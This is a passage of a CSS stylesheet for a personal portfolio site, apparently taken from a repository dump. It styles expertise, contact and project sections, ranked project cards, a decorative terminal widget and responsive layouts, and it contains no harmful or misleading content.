*/\n}\n\n.dark-mode .expertise-icon {\n    background-color: rgba(17, 24, 39, 0.7);\n}\n\n.dark-mode .expertise-icon svg {\n    stroke: var(--primary-dark);\n}\n\n.dark-mode .expertise-box:hover .expertise-icon {\n    background-color: rgba(17, 24, 39, 0.9);\n}\n\n.dark-mode .expertise-box:hover .expertise-icon svg {\n    stroke: var(--primary-hover-dark);\n    opacity: 1; /* Гарантируем непрозрачность при наведении в темной теме */\n    fill: none; /* Делаем fill прозрачным и в темной теме */\n}\n\n.dark-mode .expertise-icon img {\n    filter: var(--svg-filter-dark); /* Применяем фильтр для темной темы */\n}\n\n.dark-mode .expertise-box:hover .expertise-icon img {\n    filter: var(--svg-filter-hover-dark); /* Фильтр при наведении в темной теме */\n}\n\n.light-mode .expertise-box:hover .expertise-icon img {\n    filter: var(--svg-filter-hover-light); /* Фильтр при наведении в светлой теме */\n}\n\n.expertise-box h3 {\n    font-size: 1.25rem;\n    font-weight: 600;\n    margin-bottom: 0.75rem;\n    position: relative;\n    z-index: 1;\n}\n\n.expertise-box p {\n    color: var(--text-muted-light);\n    font-size: 0.95rem;\n    line-height: 1.6;\n    max-width: 280px;\n    margin: 0 auto;\n    position: relative;\n    z-index: 1;\n}\n\n.dark-mode .expertise-box p {\n    color: var(--text-muted-dark);\n}\n\n/* Contact Section */\n.contact-grid {\n    display: grid;\n    grid-template-columns: repeat(auto-fit, minmax(300px, 1fr));\n    gap: 2rem;\n    margin-top: 2rem;\n}\n\n.contact-item {\n    display: flex;\n    align-items: center;\n    gap: 1rem;\n    padding: 1.5rem;\n    border-radius: 0.5rem;\n    transition: transform 0.2s ease, box-shadow 0.2s ease;\n    position: relative;\n}\n\n.light-mode .contact-item {\n    background-color: var(--card-bg-light);\n    box-shadow: 0 1px 3px rgba(0, 0, 0, 0.1);\n}\n\n.dark-mode .contact-item {\n    background-color: var(--card-bg-dark);\n    box-shadow: 0 1px 3px rgba(0, 0, 0, 0.2);\n}\n\n.contact-item:hover {\n    transform: translateY(-5px);\n}\n\n.light-mode .contact-item:hover {\n    box-shadow: 0 10px 15px -3px rgba(0, 0, 0, 0.1), 0 4px 6px -2px rgba(0, 0, 0, 0.05);\n}\n\n.dark-mode .contact-item:hover {\n    box-shadow: 0 10px 15px -3px rgba(0, 0, 0, 0.25), 0 4px 6px -2px rgba(0, 0, 0, 0.1);\n}\n\n.contact-icon {\n    width: 52px;\n    height: 52px;\n    border-radius: 50%;\n    display: flex;\n    align-items: center;\n    justify-content: center;\n    margin-right: 1.25rem;\n    position: relative;\n    overflow: hidden;\n    transition: all 0.4s cubic-bezier(0.175, 0.885, 0.32, 1.275);\n}\n\n.contact-icon::before {\n    content: '';\n    position: absolute;\n    top: 0;\n    left: 0;\n    width: 100%;\n    height: 100%;\n    background: radial-gradient(circle at center, rgba(255, 255, 255, 0.15), transparent);\n    opacity: 0;\n    transition: opacity 0.3s ease;\n}\n\n.contact-item:hover .contact-icon::before {\n    opacity: 1;\n}\n\n.light-mode .contact-icon {\n    background-color: #f0f9ff;\n    box-shadow: 0 6px 12px -2px rgba(0, 0, 0, 0.1), 0 3px 6px -3px rgba(0, 0, 0, 0.05);\n    border: 2px solid rgba(226, 232, 240, 0.8);\n}\n\n.dark-mode .contact-icon {\n    background-color: rgba(17, 24, 39, 0.7);\n    box-shadow: 0 6px 12px -2px rgba(0, 0, 0, 0.3), 0 3px 6px -3px rgba(0, 0, 0, 0.2);\n    border: 2px solid rgba(45, 55, 72, 0.8);\n}\n\n.contact-item:hover .contact-icon {\n    transform: scale(1.1);\n}\n\n.light-mode .contact-item:hover .contact-icon {\n    box-shadow: 0 10px 15px -3px rgba(0, 0, 0, 0.1), 0 4px 6px -2px rgba(0, 0, 0, 0.05);\n    border-color: rgba(99, 179, 237, 0.5);\n}\n\n.dark-mode .contact-item:hover .contact-icon {\n    box-shadow: 0 10px 15px -3px rgba(0, 0, 0, 0.4), 0 4px 6px -2px rgba(0, 0, 0, 0.25);\n    border-color: rgba(66, 153, 225, 0.6);\n}\n\n.contact-icon img,\n.contact-icon svg {\n    width: 26px;\n    height: 26px;\n    transition: transform 0.4s cubic-bezier(0.68, -0.6, 0.32, 1.6);\n}\n\n.contact-item:hover .contact-icon img,\n.contact-item:hover .contact-icon svg {\n    transform: scale(1.2);\n}\n\n/* SVG Theme Adaptation */\n.light-mode .github-path {\n    fill: url(#githubGradientLight);\n}\n\n.dark-mode .github-path {\n    fill: url(#githubGradientDark);\n}\n\n.contact-info h3 {\n    font-size: 1.125rem;\n    margin-bottom: 0.25rem;\n}\n\n.contact-link {\n    text-decoration: none;\n    font-family: 'Consolas', 'Liberation Mono', monospace;\n}\n\n.light-mode .contact-link {\n    color: var(--primary-light);\n    position: relative;\n    text-decoration: none;\n}\n\n.dark-mode .contact-link {\n    color: var(--primary-dark);\n    position: relative;\n    text-decoration: none;\n}\n\n.contact-link::after {\n    content: '';\n    position: absolute;\n    width: 100%;\n    height: 2px;\n    bottom: -2px;\n    left: 0;\n    background: currentColor;\n    transform: scaleX(0);\n    transform-origin: right;\n    transition: transform 0.3s ease;\n}\n\n.contact-link:hover::after {\n    transform: scaleX(1);\n    transform-origin: left;\n}\n\n/* Projects Section */\n.filters-container {\n    margin-bottom: 2.5rem;\n    display: flex;\n    flex-direction: column;\n    gap: 1.25rem;\n    animation: fadeIn 0.8s ease both;\n}\n\n@keyframes fadeIn {\n    from {\n        opacity: 0;\n        transform: translateY(-10px);\n    }\n    to {\n        opacity: 1;\n        transform: translateY(0);\n    }\n}\n\n.search-container {\n    width: 100%;\n    margin-bottom: 1rem;\n    position: relative;\n}\n\n.search-container::before {\n    content: \"🔍\";\n    position: absolute;\n    left: 1rem;\n    top: 50%;\n    transform: translateY(-50%);\n    opacity: 0.5;\n    font-size: 1rem;\n    z-index: 1;\n}\n\n.search-input {\n    width: 100%;\n    padding: 0.9rem 1rem 0.9rem 2.75rem;\n    font-size: 1rem;\n    border-radius: 0.75rem;\n    border: 2px solid;\n    transition: all 0.3s ease;\n}\n\n.light-mode .search-input {\n    border-color: var(--border-light);\n    background-color: #fff;\n    color: var(--text-light);\n}\n\n.dark-mode .search-input {\n    border-color: var(--border-dark);\n    background-color: rgba(45, 55, 72, 0.3);\n    color: var(--text-dark);\n}\n\n.search-input:focus {\n    outline: none;\n    transform: translateY(-2px);\n}\n\n.light-mode .search-input:focus {\n    border-color: var(--primary-light);\n    box-shadow: 0 8px 15px -3px rgba(0, 0, 0, 0.1);\n}\n\n.dark-mode .search-input:focus {\n    border-color: var(--primary-dark);\n    box-shadow: 0 8px 15px -3px rgba(0, 0, 0, 0.3);\n}\n\n.sort-container {\n    display: flex;\n    align-items: center;\n    gap: 1rem;\n    margin-bottom: 1rem;\n    background: linear-gradient(to right, transparent, rgba(99, 179, 237, 0.05), transparent);\n    padding: 0.6rem 1rem;\n    border-radius: 0.75rem;\n    border: 1px solid;\n}\n\n.light-mode .sort-container {\n    border-color: rgba(99, 179, 237, 0.2);\n}\n\n.dark-mode .sort-container {\n    border-color: rgba(99, 179, 237, 0.2);\n}\n\n.sort-container label {\n    font-weight: 600;\n    letter-spacing: 0.02em;\n}\n\n/* Custom Select styling */\n.custom-select {\n    position: relative;\n    flex: 1;\n}\n\n.select-selected {\n    padding: 0.6rem 1rem;\n    border-radius: 0.5rem;\n    border: 2px solid;\n    background-color: transparent;\n    font-size: 0.95rem;\n    font-weight: 500;\n    cursor: pointer;\n    transition: all 0.3s ease;\n    position: relative;\n    display: flex;\n    align-items: center;\n    justify-content: space-between;\n    padding-right: 2.5rem;\n}\n\n.select-selected:after {\n    content: '';\n    position: absolute;\n    right: 10px;\n    top: 50%;\n    transform: translateY(-50%);\n    width: 0;\n    height: 0;\n    border-left: 6px solid transparent;\n    border-right: 6px solid transparent;\n    border-top: 6px solid currentColor;\n    transition: transform 0.3s ease;\n}\n\n.custom-select.select-arrow-active .select-selected:after {\n    transform: translateY(-50%) rotate(180deg);\n}\n\n.select-items {\n    position: absolute;\n    top: 100%;\n    left: 0;\n    right: 0;\n    z-index: 99;\n    margin-top: 5px;\n    border-radius: 0.5rem;\n    overflow: hidden;\n    box-shadow: 0 10px 25px rgba(0, 0, 0, 0.2);\n    opacity: 0;\n    transform: translateY(-10px);\n    transition: opacity 0.3s ease, transform 0.3s ease;\n    pointer-events: none;\n}\n\n.select-arrow-active .select-items {\n    opacity: 1;\n    transform: translateY(0);\n    pointer-events: all;\n}\n\n.select-hide {\n    opacity: 0;\n    transform: translateY(-10px);\n    pointer-events: none;\n}\n\n.select-option {\n    padding: 0.7rem 1rem;\n    cursor: pointer;\n    font-size: 0.95rem;\n    transition: all 0.2s ease;\n}\n\n.select-selected:hover {\n    transform: translateY(-2px);\n}\n\n.light-mode .select-selected {\n    border-color: var(--border-light);\n    color: var(--text-light);\n    background-color: rgba(255, 255, 255, 0.5);\n}\n\n.dark-mode .select-selected {\n    border-color: var(--border-dark);\n    color: var(--text-dark);\n    background-color: rgba(45, 55, 72, 0.3);\n}\n\n.light-mode .select-items {\n    background-color: #ffffff;\n    border: 1px solid var(--border-light);\n}\n\n.dark-mode .select-items {\n    background-color: var(--card-bg-dark);\n    border: 1px solid var(--border-dark);\n}\n\n.light-mode .select-option:hover:not(.select-active) {\n    background-color: var(--card-hover-light);\n}\n\n.dark-mode .select-option:hover:not(.select-active) {\n    background-color: var(--card-hover-dark);\n}\n\n.light-mode .select-active {\n    background-color: var(--primary-light);\n    color: white;\n}\n\n.dark-mode .select-active {\n    background-color: var(--primary-dark);\n    color: white;\n}\n\n.category-filters {\n    display: flex;\n    flex-wrap: wrap;\n    gap: 0.75rem;\n    margin-bottom: 1rem;\n}\n\n.category-filter {\n    padding: 0.6rem 1.2rem;\n    border-radius: 9999px;\n    font-size: 0.95rem;\n    font-weight: 600;\n    border: 2px solid;\n    cursor: pointer;\n    transition: all 0.3s ease;\n    position: relative;\n    overflow: hidden;\n    display: flex;\n    align-items: center;\n    gap: 0.5rem;\n}\n\n.category-filter svg,\n.category-filter .category-icon {\n    width: 16px;\n    height: 16px;\n    flex-shrink: 0;\n    transition: transform 0.3s ease;\n}\n\n.category-filter:hover svg,\n.category-filter:hover .category-icon {\n    transform: scale(1.2);\n}\n\n.category-filter::before {\n    content: '';\n    position: absolute;\n    top: 0;\n    left: 0;\n    width: 100%;\n    height: 100%;\n    background: linear-gradient(to right, transparent, rgba(255, 255, 255, 0.1), transparent);\n    transform: translateX(-100%);\n    transition: transform 0.6s ease;\n}\n\n.category-filter:hover::before {\n    transform: translateX(100%);\n}\n\n.light-mode .category-filter {\n    border-color: var(--border-light);\n    background-color: #f0f5ff;\n    color: var(--text-muted-light);\n    box-shadow: 0 1px 3px rgba(0, 0, 0, 0.05);\n    font-weight: 500;\n}\n\n.dark-mode .category-filter {\n    border-color: var(--border-dark);\n    background-color: rgba(45, 55, 72, 0.3);\n    color: var(--text-muted-dark);\n}\n\n.light-mode .category-filter.active {\n    background-color: var(--primary-light);\n    border-color: var(--primary-light);\n    color: white;\n    box-shadow: 0 5px 15px -3px rgba(67, 97, 238, 0.4);\n    transform: translateY(-2px);\n    font-weight: 600;\n}\n\n.dark-mode .category-filter.active {\n    background-color: var(--primary-dark);\n    border-color: var(--primary-dark);\n    color: white;\n    box-shadow: 0 5px 15px -3px rgba(99, 179, 237, 0.3);\n    transform: translateY(-2px);\n}\n\n/* Make SVG and icons white when category is active */\n.category-filter.active svg {\n    stroke: white;\n}\n\n.category-filter.active img.category-icon {\n    filter: brightness(0) invert(1);\n}\n\n.light-mode .category-filter:hover:not(.active) {\n    background-color: #e2ecff;\n    transform: translateY(-2px);\n    box-shadow: 0 5px 10px -3px rgba(67, 97, 238, 0.15);\n    border-color: rgba(67, 97, 238, 0.3);\n}\n\n.dark-mode .category-filter:hover:not(.active) {\n    background-color: var(--card-hover-dark);\n    transform: translateY(-2px);\n    box-shadow: 0 5px 10px -3px rgba(0, 0, 0, 0.3);\n}\n\n.loading-container {\n    text-align: center;\n    padding: 3rem 0;\n    display: flex;\n    flex-direction: column;\n    align-items: center;\n    justify-content: center;\n    height: 300px;\n    transition: opacity 0.3s ease;\n}\n\n.loading-spinner {\n    display: inline-block;\n    width: 60px;\n    height: 60px;\n    border: 4px solid;\n    border-radius: 50%;\n    margin-bottom: 1.5rem;\n    animation: spin 1.2s cubic-bezier(0.5, 0.1, 0.5, 0.9) infinite;\n    box-shadow: 0 5px 15px -5px rgba(0, 0, 0, 0.1);\n}\n\n.light-mode .loading-spinner {\n    border-color: rgba(49, 130, 206, 0.15);\n    border-top-color: var(--primary-light);\n    background: linear-gradient(to right, rgba(255, 255, 255, 0.5), rgba(240, 249, 255, 0.5));\n}\n\n.dark-mode .loading-spinner {\n    border-color: rgba(99, 179, 237, 0.15);\n    border-top-color: var(--primary-dark);\n    background: linear-gradient(to right, rgba(30, 41, 59, 0.5), rgba(15, 23, 42, 0.5));\n}\n\n.loading-container p {\n    font-size: 1.1rem;\n    font-weight: 500;\n    opacity: 0.8;\n    max-width: 80%;\n    margin: 0 auto;\n}\n\n.error-message {\n    display: flex;\n    align-items: center;\n    justify-content: center;\n    padding: 2rem;\n    border-radius: 1rem;\n    width: 100%;\n    max-width: 600px;\n    margin: 0 auto;\n    box-shadow: 0 10px 15px -3px rgba(0, 0, 0, 0.1);\n    gap: 1.5rem;\n    text-align: left;\n}\n\n.error-message svg {\n    color: #E53E3E;\n    flex-shrink: 0;\n}\n\n.error-message h3 {\n    margin-bottom: 0.5rem;\n    font-size: 1.2rem;\n}\n\n.error-message p {\n    margin-bottom: 1rem;\n    opacity: 0.8;\n}\n\n.retry-button {\n    display: inline-flex;\n    align-items: center;\n    gap: 0.5rem;\n    padding: 0.5rem 1rem;\n    border-radius: 0.5rem;\n    border: none;\n    background-color: var(--primary-light);\n    color: white;\n    font-weight: 600;\n    cursor: pointer;\n    transition: all 0.3s ease;\n}\n\n.retry-button:hover {\n    transform: translateY(-2px);\n    box-shadow: 0 5px 10px rgba(0, 0, 0, 0.1);\n}\n\n.dark-mode .retry-button {\n    background-color: var(--primary-dark);\n}\n\n.light-mode .error-message {\n    background-color: #FFF5F5;\n    border: 1px solid #FED7D7;\n}\n\n.dark-mode .error-message {\n    background-color: rgba(254, 215, 215, 0.1);\n    border: 1px solid rgba(254, 215, 215, 0.2);\n}\n\n@keyframes spin {\n    to {\n        transform: rotate(360deg);\n    }\n}\n\n.projects-grid {\n    display: grid;\n    grid-template-columns: repeat(auto-fill, minmax(340px, 1fr));\n    gap: 2rem;\n}\n\n.project-card {\n    border-radius: 0.75rem;\n    overflow: hidden;\n    transition: all 0.4s cubic-bezier(0.175, 0.885, 0.32, 1.275);\n    cursor: pointer;\n    transform-origin: center;\n    position: relative;\n    opacity: 0;\n    transform: translateY(30px);\n    animation: fadeInUp 0.8s cubic-bezier(0.23, 1, 0.32, 1) forwards;\n    border: 2px solid transparent;\n    display: flex;\n    flex-direction: column;\n}\n\n.project-card:nth-child(-n+3) {\n    position: relative;\n    border-width: 2px;\n    box-shadow: 0 20px 30px -8px rgba(0, 0, 0, 0.12), 0 10px 20px -5px rgba(0, 0, 0, 0.1);\n    transform: scale(1.03);\n    z-index: 1;\n    transition: all 0.5s cubic-bezier(0.175, 0.885, 0.32, 1.275);\n}\n\n.project-card:nth-child(1) {\n    transform: scale(1.05);\n    z-index: 3;\n}\n\n/* Rank badges for top repositories */\n.rank-badge {\n    position: absolute;\n    top: 10px;\n    right: 10px;\n    width: 26px;\n    height: 26px;\n    border-radius: 50%;\n    display: flex;\n    align-items: center;\n    justify-content: center;\n    font-weight: 700;\n    font-size: 0.85rem;\n    line-height: 1;\n    z-index: 5;\n    cursor: pointer;\n    transition: all 0.3s cubic-bezier(0.175, 0.885, 0.32, 1.275);\n    box-shadow: 0 2px 4px rgba(0, 0, 0, 0.15);\n    border: 1px solid rgba(255, 255, 255, 0.3);\n}\n\n.project-card:hover .rank-badge {\n    transform: scale(1.15) rotate(0deg);\n    box-shadow: 0 3px 6px rgba(0, 0, 0, 0.2);\n}\n\n/* Gold medal style */\n.rank-1 {\n    background: linear-gradient(135deg, #ffd700, #ffb347);\n    color: #704900;\n    box-shadow: 0 2px 6px rgba(255, 215, 0, 0.3);\n}\n\n/* Silver medal style */\n.rank-2 {\n    background: linear-gradient(135deg, #e0e0e0, #c0c0c0);\n    color: #444;\n    box-shadow: 0 2px 6px rgba(192, 192, 192, 0.3);\n}\n\n/* Bronze medal style */\n.rank-3 {\n    background: linear-gradient(135deg, #cd7f32, #b08d57);\n    color: #fff;\n    box-shadow: 0 2px 6px rgba(205, 127, 50, 0.3);\n}\n\n.project-card:nth-child(1) {\n    transform: scale(1.05);\n    z-index: 3;\n}\n\n.project-card:nth-child(2) {\n    transform: scale(1.04);\n    z-index: 2;\n}\n\n.light-mode .project-card:nth-child(-n+3) {\n    border-color: var(--primary-light);\n    background-image: radial-gradient(circle at top right, rgba(236, 254, 255, 0.7), transparent 80%);\n}\n\n.light-mode .project-card:nth-child(1)::before {\n    content: '';\n    position: absolute;\n    top: -10px;\n    left: -10px;\n    right: -10px;\n    bottom: -10px;\n    background: linear-gradient(135deg, var(--primary-light), transparent);\n    border-radius: 1rem;\n    opacity: 0.1;\n    z-index: -1;\n    pointer-events: none;\n}\n\n.dark-mode .project-card:nth-child(-n+3) {\n    border-color: var(--primary-dark);\n    background-image: radial-gradient(circle at top right, rgba(36, 42, 54, 0.8), transparent 80%);\n}\n\n.dark-mode .project-card:nth-child(1)::before {\n    content: '';\n    position: absolute;\n    top: -10px;\n    left: -10px;\n    right: -10px;\n    bottom: -10px;\n    background: linear-gradient(135deg, var(--primary-dark), transparent);\n    border-radius: 1rem;\n    opacity: 0.15;\n    z-index: -1;\n    pointer-events: none;\n}\n\n@keyframes fadeInUp {\n    0% {\n        opacity: 0;\n        transform: translateY(30px);\n    }\n    60% {\n        opacity: 1;\n    }\n    100% {\n        opacity: 1;\n        transform: translateY(0);\n    }\n}\n\n.light-mode .project-card {\n    background-color: #ffffff;\n    box-shadow: 0 10px 15px -3px rgba(0, 0, 0, 0.08), 0 4px 6px -2px rgba(0, 0, 0, 0.05);\n    border-color: rgba(226, 232, 240, 0.8);\n}\n\n.dark-mode .project-card {\n    background-color: var(--card-bg-dark);\n    box-shadow: 0 10px 15px -3px rgba(0, 0, 0, 0.3), 0 4px 6px -2px rgba(0, 0, 0, 0.15);\n    border-color: rgba(45, 55, 72, 0.8);\n}\n\n.project-card:hover {\n    transform: translateY(-12px) scale(1.03);\n}\n\n.project-card:nth-child(1):hover {\n    transform: translateY(-12px) scale(1.05);\n}\n\n.project-card:nth-child(2):hover {\n    transform: translateY(-12px) scale(1.04);\n}\n\n.project-card:nth-child(3):hover {\n    transform: translateY(-12px) scale(1.03);\n}\n\n.light-mode .project-card:hover {\n    box-shadow: 0 25px 30px -5px rgba(0, 0, 0, 0.1), 0 10px 20px -5px rgba(0, 0, 0, 0.07);\n    border-color: rgba(99, 179, 237, 0.4);\n    background-image: radial-gradient(circle at top right, rgba(236, 254, 255, 0.8), transparent 70%);\n}\n\n.dark-mode .project-card:hover {\n    box-shadow: 0 25px 30px -5px rgba(0, 0, 0, 0.4), 0 10px 20px -5px rgba(0, 0, 0, 0.25);\n    border-color: rgba(66, 153, 225, 0.5);\n    background-image: radial-gradient(circle at top right, rgba(26, 32, 44, 0.8), transparent 70%);\n}\n\n.project-header {\n    padding: 1.25rem 1.5rem;\n    border-bottom: 1px solid;\n    position: relative;\n    overflow: hidden;\n}\n\n.project-header::after {\n    content: '';\n    position: absolute;\n    top: 0;\n    left: 0;\n    width: 100%;\n    height: 100%;\n    background: linear-gradient(to right, transparent, rgba(99, 179, 237, 0.05), transparent);\n    transform: translateX(-100%);\n    transition: transform 1s ease;\n}\n\n.project-card:hover .project-header::after {\n    transform: translateX(100%);\n}\n\n.light-mode .project-header {\n    border-bottom-color: var(--border-light);\n    background-color: rgba(247, 250, 252, 0.5);\n}\n\n.dark-mode .project-header {\n    border-bottom-color: var(--border-dark);\n    background-color: rgba(45, 55, 72, 0.5);\n}\n\n.project-title {\n    font-size: 1.25rem;\n    font-weight: 600;\n    margin-bottom: 0.5rem;\n    display: flex;\n    align-items: center;\n    flex-wrap: wrap;\n    gap: 0.5rem;\n}\n\n.project-title img {\n    width: 20px;\n    height: 20px;\n    filter: drop-shadow(0 1px 2px rgba(0, 0, 0, 0.1));\n    transition: all 0.3s ease;\n}\n\n.project-card:hover .project-title img {\n    transform: scale(1.15);\n    filter: drop-shadow(0 2px 4px rgba(0, 0, 0, 0.15));\n}\n\n.project-body {\n    padding: 1.75rem;\n    position: relative;\n    z-index: 1;\n    display: flex;\n    flex-direction: column;\n    flex-grow: 1;\n}\n\n.project-body::before {\n    content: '';\n    position: absolute;\n    top: 0;\n    left: 0;\n    right: 0;\n    bottom: 0;\n    background: linear-gradient(135deg, rgba(255, 255, 255, 0.03), transparent);\n    z-index: -1;\n    opacity: 0;\n    transition: opacity 0.4s ease;\n}\n\n.project-card:hover .project-body::before {\n    opacity: 1;\n}\n\n.project-description {\n    line-height: 1.6;\n    margin-bottom: 1.75rem;\n    transition: all 0.3s ease;\n    flex-grow: 1;\n}\n\n/* Адаптивный размер шрифта в зависимости от длины описания */\n.project-description.short-text {\n    font-size: 1.125rem; /* Больший шрифт для короткого текста */\n}\n\n.project-description.medium-text {\n    font-size: 1rem; /* Стандартный размер для среднего текста */\n}\n\n.project-description.long-text {\n    font-size: 0.9375rem; /* Меньший размер для длинного текста */\n}\n\n.light-mode .project-description {\n    color: var(--text-muted-light);\n}\n\n.dark-mode .project-description {\n    color: var(--text-muted-dark);\n}\n\n.project-card:hover .project-description {\n    color: var(--text-light);\n}\n\n.dark-mode .project-card:hover .project-description {\n    color: var(--text-dark);\n}\n\n.project-stats {\n    display: flex;\n    align-items: center;\n    gap: 2rem;\n    font-size: 0.95rem;\n    padding-top: 0.75rem;\n    border-top: 1px dashed;\n    transition: all 0.3s ease;\n}\n\n.light-mode .project-stats {\n    border-color: rgba(226, 232, 240, 0.7);\n}\n\n.dark-mode .project-stats {\n    border-color: rgba(74, 85, 104, 0.4);\n}\n\n.stat {\n    display: flex;\n    align-items: center;\n    gap: 0.5rem;\n    font-weight: 600;\n    transition: transform 0.3s ease;\n}\n\n.project-card:hover .stat {\n    transform: scale(1.08);\n}\n\n.stat img {\n    width: 20px;\n    height: 20px;\n    filter: drop-shadow(0 1px 2px rgba(0, 0, 0, 0.1));\n    transition: transform 0.3s ease;\n}\n\n.stat:hover img {\n    transform: scale(1.15);\n}\n\n.error-message {\n    text-align: center;\n    padding: 3rem 0;\n    color: #e53e3e;\n}\n\n.no-repos {\n    text-align: center;\n    padding: 3rem 0;\n}\n\n.light-mode .no-repos {\n    color: var(--text-muted-light);\n}\n\n.dark-mode .no-repos {\n    color: var(--text-muted-dark);\n}\n\n/* Terminal Section */\n.terminal-section {\n    padding: 4rem 0;\n    background-color: #121212;\n}\n\n.light-mode .terminal-section {\n    background-color: #f0f0f0;\n}\n\n.dark-mode .terminal-section {\n    background-color: #1a1a1a;\n}\n\n\n\n.light-mode .section-title {\n    color: #2d3748;\n}\n\n.dark-mode .section-title {\n    color: #e2e8f0;\n}\n\n.terminal-container {\n    max-width: 900px;\n    margin: 0 auto;\n    border-radius: 8px;\n    overflow: hidden;\n    box-shadow: 0 15px 25px rgba(0, 0, 0, 0.4);\n    backdrop-filter: blur(5px);\n    transform: translateY(0);\n    transition: all 0.3s ease;\n    position: relative;\n}\n\n.terminal-container:hover {\n    transform: translateY(-5px);\n    box-shadow: 0 20px 30px rgba(0, 0, 0, 0.5);\n}\n\n.terminal-container.minimized {\n    box-shadow: 0 5px 15px rgba(0, 0, 0, 0.3);\n}\n\n.terminal-container.minimized:hover {\n    transform: translateY(-3px);\n}\n\n.terminal-container.maximized {\n    max-width: 100%;\n    width: 100%;\n    height: auto;\n    border-radius: 0;\n    transform: none !important;\n}\n\n.terminal-header {\n    background: linear-gradient(to right, #323232, #222222);\n    padding: 10px 15px;\n    display: flex;\n    justify-content: space-between;\n    align-items: center;\n    border-bottom: 1px solid #444;\n}\n\n.terminal-title {\n    color: #ddd;\n    font-size: 0.9rem;\n    font-weight: 500;\n    font-family: 'Consolas', 'Liberation Mono', monospace;\n    user-select: none;\n}\n\n.terminal-controls {\n    display: flex;\n    gap: 8px;\n}\n\n.terminal-control {\n    width: 12px;\n    height: 12px;\n    border-radius: 50%;\n    cursor: pointer;\n    position: relative;\n}\n\n.terminal-control.close {\n    background-color: #ff5f56;\n}\n\n.terminal-control.minimize {\n    background-color: #ffbd2e;\n}\n\n.terminal-control.maximize {\n    background-color: #27c93f;\n}\n\n.terminal-window {\n    background-color: #1e1e1e;\n    color: #f0f0f0;\n    padding: 15px;\n    height: 350px;\n    overflow-y: auto;\n    font-family: 'Consolas', 'Liberation Mono', monospace;\n    font-size: 0.95rem;\n    line-height: 1.5;\n    position: relative;\n    scrollbar-width: thin;\n    scrollbar-color: #666 #1e1e1e;\n    cursor: default;\n    user-select: text;\n}\n\n.terminal-window::-webkit-scrollbar {\n    width: 8px;\n}\n\n.terminal-window::-webkit-scrollbar-track {\n    background: #1e1e1e;\n}\n\n.terminal-window::-webkit-scrollbar-thumb {\n    background-color: #666;\n    border-radius: 20px;\n    border: 2px solid #1e1e1e;\n}\n\n.terminal-output {\n    margin-bottom: 15px;\n}\n\n.terminal-input-line {\n    display: flex;\n    align-items: center;\n    margin-top: 10px;\n}\n\n.terminal-prompt {\n    color: #4CAF50;\n    margin-right: 8px;\n    user-select: none;\n}\n\n/* Стиль выделения текста в терминале */\n.terminal-window::selection,\n.terminal-window *::selection {\n    background-color: rgba(79, 134, 198, 0.6);\n    color: #ffffff;\n}\n\n.terminal-window::-moz-selection,\n.terminal-window *::-moz-selection {\n    background-color: rgba(79, 134, 198, 0.6);\n    color: #ffffff;\n}\n\n#terminal-input {\n    background: transparent;\n    border: none;\n    color: #fff;\n    flex: 1;\n    font-family: inherit;\n    font-size: inherit;\n    outline: none;\n    caret-color: #fff;\n    padding: 0;\n    margin: 0;\n    position: relative;\n    box-sizing: border-box;\n}\n\n.terminal-output-line {\n    margin-bottom: 8px;\n    word-wrap: break-word;\n    animation: fadeIn 0.1s;\n}\n\n.terminal-command {\n    color: #4CAF50;\n}\n\n.terminal-response {\n    color: #E0E0E0;\n}\n\n.terminal-error {\n    color: #ff5f56;\n}\n\n.terminal-success {\n    color: #2ecc71;\n}\n\n.terminal-warning {\n    color: #f39c12;\n}\n\n.terminal-help {\n    color: #3498db;\n}\n\n.terminal-highlight {\n    color: #9b59b6;\n}\n\n.terminal-link {\n    color: #3498db;\n    text-decoration: underline;\n    cursor: pointer;\n    transition: color 0.2s ease;\n}\n\n.terminal-link:hover {\n    color: #2980b9;\n    text-decoration: underline;\n}\n\n.terminal-ascii-art {\n    color: #e74c3c;\n    white-space: pre;\n    font-family: monospace;\n    line-height: 1.2;\n}\n\n.terminal-blink {\n    animation: blink 1s step-end infinite;\n}\n\n@keyframes blink {\n    0%, 100% {\n        opacity: 1;\n    }\n    50% {\n        opacity: 0;\n    }\n}\n\n@keyframes glitch {\n    0% {\n        transform: translate(0);\n    }\n    20% {\n        transform: translate(-2px, 2px);\n    }\n    40% {\n        transform: translate(-2px, -2px);\n    }\n    60% {\n        transform: translate(2px, 2px);\n    }\n    80% {\n        transform: translate(2px, -2px);\n    }\n    100% {\n        transform: translate(0);\n    }\n}\n\n.terminal-glitch {\n    position: relative;\n    animation: glitch 0.3s infinite;\n    display: inline-block;\n}\n\n/* Footer */\nfooter {\n    background-color: #1a202c;\n    color: #a0aec0;\n    padding: 1.5rem 0;\n    text-align: center;\n    font-size: 0.875rem;\n}\n\n.light-mode footer {\n    background-color: #f7fafc;\n    color: #4a5568;\n    border-top: 1px solid var(--border-light);\n}\n\n.dark-mode footer {\n    background-color: #171923;\n    color: #a0aec0;\n    border-top: 1px solid var(--border-dark);\n}\n\n/* Media Queries */\n@media (max-width: 768px) {\n    html {\n        font-size: 14px;\n    }\n\n    .hero {\n        padding: 2rem 0 3rem;\n    }\n    \n    .hero-content {\n        flex-direction: column;\n        gap: 1.5rem;\n        align-items: center;\n    }\n    \n    .profile-container {\n        margin-bottom: 0;\n    }\n    \n    .profile-info {\n        text-align: center;\n    }\n\n    .avatar {\n        width: 150px;\n        height: 150px;\n    }\n\n    .name {\n        font-size: 2rem;\n        justify-content: center;\n    }\n\n    .section-title {\n        font-size: 1.75rem;\n    }\n\n    .projects-grid {\n        grid-template-columns: 1fr;\n    }\n}\n\n@media (max-width: 480px) {\n    .hero {\n        padding: 1.5rem 0 2.5rem;\n    }\n\n    .avatar {\n        width: 120px;\n        height: 120px;\n    }\n\n    .name {\n        font-size: 1.75rem;\n    }\n    \n    .about-bio {\n        font-size: 1rem;\n    }\n\n    .contact-grid {\n        grid-template-columns: 1fr;\n    }\n\n    .contact-item {\n        padding: 1rem;\n    }\n    \n    .terminal-window {\n        height: 200px;\n        padding: 10px;\n    }\n    \n    .terminal-title {\n        font-size: 0.8rem;\n    }\n    \n    .terminal-control {\n        width: 10px;\n        height: 10px;\n    }\n}"
  },
  {
    "path": "app.modern.fingerprint.css",
